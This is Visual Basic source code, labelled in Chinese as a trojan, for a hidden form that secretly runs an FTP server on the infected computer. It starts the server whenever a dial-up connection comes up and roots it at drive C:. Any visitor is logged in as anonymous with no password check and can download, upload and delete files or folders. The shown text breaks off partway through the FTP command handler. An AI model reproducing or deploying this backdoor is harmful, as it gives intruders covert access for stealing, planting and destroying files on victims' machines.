frmmain.frm

另一个可以在你的计算机上开FTP服务器的木马源代码

VERSION 5.00
Object = "{33335113-F789-11CE-86F8-0020AFD8C6DB}#1.0#0"; "IPPORT34.OCX"
Object = "{33335123-F789-11CE-86F8-0020AFD8C6DB}#1.0#0"; "IPDAEM34.OCX"
Begin VB.Form FRMMAIN 
   BorderStyle     =   0  'None
   ClientHeight    =   675
   ClientLeft      =   300
   ClientTop       =   195
   ClientWidth     =   1170
   Icon            =   "FRMMAIN.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   675
   ScaleWidth      =   1170
   ShowInTaskbar   =   0   'False
   Visible         =   0   'False
   Begin IPDaemonLib.IPDaemon IPDaemon1 
      Left            =   120
      Top             =   120
      _ExtentX        =   741
      _ExtentY        =   741
      Linger          =   -1  'True
   End
   Begin IPPortLib.IPPort IPPort1 
      Index           =   0
      Left            =   600
      Top             =   120
      _ExtentX        =   741
      _ExtentY        =   741
      RemoteHost      =   ""
      Linger          =   -1  'True
      EOL             =   "Load"
   End
End
Attribute VB_Name = "FRMMAIN"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit

Private Sub Form_Load()
   On Error Resume Next
   
   While True
      DoEvents

      Interno
   Wend
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
   VerificaRegistry
End Sub

Private Sub Form_Terminate()
   VerificaRegistry
End Sub

Private Sub Interno()
   On Error Resume Next

   Static lAtivoAntes As Boolean
   Static lAtivoAgora As Boolean

   lAtivoAntes = lAtivoAgora
   lAtivoAgora = (QueryValue(HKEY_LOCAL_MACHINE, "System\CurrentControlSet\Services\RemoteAccess", "Remote Connection") = "01 00 00 00 ")

   If lAtivoAntes And Not lAtivoAgora Then
      bStopFTPServer

   ElseIf lAtivoAgora And Not lAtivoAntes Then
      bStartFTPServer

   ElseIf lAtivoAgora And lAtivoAntes Then
      Rem Internet Conetion OK !
      Rem Conexao Internet OK !
   End If
End Sub

Function Data(ByVal ark$) As String
   Dim tmp$, i%, mes$(12)
   tmp$ = Format$(CVDate(FileDateTime(ark$)), "mmm dd  yyyy ")

   For i% = 1 To 12
       If cMascara = "ddmmaa" Then
          mes$(i) = LCase(Format$("01/" & Right$("00" & Trim(Str$(i%)), 2) & "/98 12:12:12", "mmm"))
       ElseIf cMascara = "mmddaa" Then
          mes$(i) = LCase(Format$(Right$("00" & Trim(Str$(i%)), 2) & "/01/98 12:12:12", "mmm"))
       ElseIf cMascara = "aammdd" Then
          mes$(i) = LCase(Format$("98/" + Right$("00" & Trim(Str$(i%)), 2) & "/01 12:12:12", "mmm"))
       Else
          mes$(i) = "9801"
       End If
   Next

   Select Case LCase(Left$(tmp$, 3))
      Case mes$(1)
           Mid(tmp$, 1, 3) = "Jan"
      Case mes$(2)
           Mid(tmp$, 1, 3) = "Feb"
      Case mes$(3)
           Mid(tmp$, 1, 3) = "Mar"
      Case mes$(4)
           Mid(tmp$, 1, 3) = "Apr"
      Case mes$(5)
           Mid(tmp$, 1, 3) = "May"
      Case mes$(6)
           Mid(tmp$, 1, 3) = "Jun"
      Case mes$(7)
           Mid(tmp$, 1, 3) = "Jul"
      Case mes$(8)
           Mid(tmp$, 1, 3) = "Aug"
      Case mes$(9)
           Mid(tmp$, 1, 3) = "Sep"
      Case mes$(10)
           Mid(tmp$, 1, 3) = "Oct"
      Case mes$(11)
           Mid(tmp$, 1, 3) = "Nov"
      Case mes$(12)
           Mid(tmp$, 1, 3) = "Dec"
   End Select
   Data = tmp$
End Function

Public Sub bStartFTPServer()
   On Error GoTo ErronoInicio

   Dim uTMp$
   Dim i As Integer
   Dim cData As String

   cData = CStr(#12/31/98#)
   cMascara = ""

   Select Case Left(cData, 2)
      Case "12"
         cMascara = "mm"
      Case "31"
         cMascara = "dd"
      Case "98", "19"
         cMascara = "aa"
   End Select
   Select Case Mid(cData, 4, 2)
      Case "12"
         cMascara = cMascara + "mm"
      Case "31"
         cMascara = cMascara + "dd"
      Case "98", "19"
         cMascara = cMascara + "aa"
   End Select
   Select Case Right(cData, 2)
      Case "12"
         cMascara = cMascara + "mm"
      Case "31"
         cMascara = cMascara + "dd"
      Case "98", "19"
         cMascara = cMascara + "aa"
   End Select

   cDiretorioFTP = Left("C:", 2)

   IPDaemon1.WinsockLoaded = True

   Do While Right$(cDiretorioFTP, 1) = "\"
      cDiretorioFTP = Left$(cDiretorioFTP, Len(cDiretorioFTP) - 1)
   Loop

   Dim attr: attr = GetAttr(cDiretorioFTP)
   If 16 <> (attr And 16) Then
       Exit Sub
   End If

   IPDaemon1.LocalPort = Val(PRODUCT_PORT)
   IPDaemon1.Listening = True
   Exit Sub

ErronoInicio:
   Exit Sub
End Sub

Public Sub bStopFTPServer()
   IPDaemon1.Listening = False
End Sub

Private Function GetToken(Text$, Separator$) As String
   Dim i%: i% = InStr(Text$, Separator$)
   If i% = 0 Then
      GetToken = ""
      Exit Function
   End If
   GetToken = Left$(Text$, i% - 1)
   Text$ = Mid$(Text$, i% + 1)
End Function

Private Sub GlobalizePath(ConnectionID As Integer, path$)
   If InStr(path$, "\") <> 0 Then StringReplace path$, "\", "/"
   If Len(path$) < 3 Then
      path$ = ""
   Else
      path$ = "/" & Right$(path$, Len(path$) - Len("c:\"))
   End If
   If path$ = "" Then path$ = "/"
End Sub

Private Sub IPDaemon1_Connected(ConnectionID As Integer, StatusCode As Integer, Description As String)
   On Error Resume Next

   IPDaemon1.EOL(ConnectionID) = Chr$(13) & Chr$(10)
   SendReply ConnectionID, 220, IPDaemon1.LocalHost & " - FTP Server ready."

   gConexoes(ConnectionID).DiretorioCur = cDiretorioFTP
   gConexoes(ConnectionID).TransferType = TYPE_BINARY
   gConexoes(ConnectionID).PortaDados = 20
   gConexoes(ConnectionID).DataAddress = IPDaemon1.RemoteHost(ConnectionID)
   gConexoes(ConnectionID).User = ""
   logado(ConnectionID) = False
   gConexoes(ConnectionID).Authenticated = False
End Sub

Private Sub IPDaemon1_DataIn(ConnectionID As Integer, Text As String, EOL As Integer)
   On Error GoTo ServerError

   Dim cmd$, arg$: arg$ = Text
   cmd$ = GetToken(arg$, " ")
   If cmd$ = "" Then cmd$ = arg$: arg$ = ""
   cmd$ = UCase$(cmd$)

   If InStr(arg$, "-") <> 0 And cmd$ = "LIST" Then
      cmd$ = "LIST"
      arg$ = Left$(arg$, InStr(arg$, "-") - 1)
   End If
   If InStr(arg$, "-") <> 0 And cmd$ = "NLST" Then
      cmd$ = "LIST"
      arg$ = Left$(arg$, InStr(arg$, "-") - 1)
   End If

   Select Case cmd$
      Case "USER", "PASS":
         gConexoes(ConnectionID).User = "anonymous"
         SendReply ConnectionID, 230, "User " & gConexoes(ConnectionID).User & " logged in."
         logado(ConnectionID) = True
         gConexoes(ConnectionID).Authenticated = True

      Case "NOOP":
         SendReply ConnectionID, 200, "NOOP command successful."

      Case "PORT":
         If Not ParsePortArgs(ConnectionID, arg$) Then
            SendReply ConnectionID, 500, "'" & cmd$ & " " & arg$ & "': command not understood."
         Else
            SendReply ConnectionID, 200, "PORT command successful."
         End If

      Case "PASV":
         SendReply ConnectionID, 502, "Command not implemented."

      Case "TYPE":
         Select Case UCase$(arg$)
            Case "A"
               gConexoes(ConnectionID).TransferType = TYPE_ASCII
               SendReply ConnectionID, 200, "Type set to A."
            Case "I"
               gConexoes(ConnectionID).TransferType = TYPE_BINARY
               SendReply ConnectionID, 200, "Type set to A."
            Case Else
               SendReply ConnectionID, 500, "'" & cmd$ & " " & arg$ & "': command not understood."
         End Select

      Case "DELE":
         LocalizePath ConnectionID, arg$
         Kill arg$
         SendReply ConnectionID, 250, "DELE command successful."

      Case "RETR":
         LocalizePath ConnectionID, arg$
         SendFile ConnectionID, arg$

      Case "STOR":
         LocalizePath ConnectionID, arg$
         ReceiveFile ConnectionID, arg$

      Case "NLST":
         LocalizePath ConnectionID, arg$
         SendDir ConnectionID, arg$

      Case "LIST":
         LocalizePath ConnectionID, arg$
         SendDirLong ConnectionID, arg$

      Case "PWD", "XPWD":
         arg$ = gConexoes(ConnectionID).DiretorioCur
         GlobalizePath ConnectionID, arg$
         SendReply ConnectionID, 257, """" & arg$ & """ is current directory."

      Case "CWD":
         LocalizePath ConnectionID, arg$
         ChDrive Left$(cDiretorioFTP, 3)
         ChDir arg$
         If Len(CurDir$) < Len(cDiretorioFTP) Then
            SendReply ConnectionID, 550, "Requested action not taken. Permission denied."
            Exit Sub
         End If
         ChDrive Left$(cDiretorioFTP, 3)
         ChDir arg$
         gConexoes(ConnectionID).DiretorioCur = CurDir$
         GlobalizePath ConnectionID, arg$
         SendReply ConnectionID, 257, "CWD command successful."

      Case "CDUP":
         ChDrive Left$(cDiretorioFTP, 3)
         ChDir gConexoes(ConnectionID).DiretorioCur
         If Len(gConexoes(ConnectionID).DiretorioCur) > Len(cDiretorioFTP) Then
            ChDrive Left$(cDiretorioFTP, 3)
            ChDir ".."
            gConexoes(ConnectionID).DiretorioCur = CurDir
         End If
         SendReply ConnectionID, 250, "CDUP command successful."

      Case "MKD", "XMKD":
         LocalizePath ConnectionID, arg$
         If Len(CurDir$) < Len(cDiretorioFTP) Then
            SendReply ConnectionID, 550, "Requested action not taken. Permission denied."
            Exit Sub
         End If
         MkDir arg$
         SendReply ConnectionID, 257, "MKD command successful."

      Case "RMD", "XRMD":
         LocalizePath ConnectionID, arg$
         If Len(CurDir$) < Len(cDiretorioFTP) Then
            SendReply ConnectionID, 550, "Requested action not taken. Permission denied."
            Exit Sub
         End If
         RmDir arg$
         SendReply ConnectionID, 257, "MKD command successful."

      Case "HELP":
         SendReply ConnectionID, 211, "HELP is not implemented on server. Use client's HELP!"

      Case "QUIT":
         SendReply ConnectionID, 221, "Goodbye."